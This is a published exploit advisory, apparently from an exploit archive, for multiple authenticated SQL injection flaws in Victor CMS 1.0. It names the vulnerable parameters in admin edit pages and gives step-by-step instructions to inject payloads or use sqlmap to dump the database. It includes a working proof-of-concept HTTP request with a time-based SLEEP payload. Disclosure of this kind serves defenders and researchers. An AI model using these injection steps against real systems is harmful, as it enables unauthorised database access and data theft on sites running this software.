Victor CMS 1.0 Multiple SQL Injection (Authenticated)

2020.12.17

Credit: **Furkan Göksel (https://cxsecurity.com/author/Furkan+G%C3%B6ksel/1/)**

Risk: **Medium** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**

```
# Exploit Title: Victor CMS 1.0 - Multiple SQL Injection (Authenticated)
# Date: 17.12.2020
# Exploit Author: Furkan Göksel
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Description: The Victor CMS v1.0 application is vulnerable to SQL
# injection in c_id parameter of admin_edit_comment.php, p_id parameter
# of admin_edit_post.php, u_id parameter of admin_edit_user.php, edit
# parameter of admin_update_categories.php.

# Tested on: Apache2/Linux

Step 1: Register the system through main page and login your account

Step 2: After successful login, select one of the specified tabs
(post, categories, comments, users)

Step 3: When you click edit button of these records, an HTTP request
is sent to server to get details of this record with corresponding
parameters (eg. for edit comment it is c_id parameter)

Step 4: Inject your SQL payload to these ids or use sqlmap to dump

Example PoC request is as follows:

GET /cve/admin/comment.php?source=edit_comment&c_id=2%20AND%20SLEEP(10) HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0)
Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=st8hhobgplut500p3lpug8qa66
Upgrade-Insecure-Requests: 1

Same PoC payload is valid for all edit features of specified tabs.
```

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)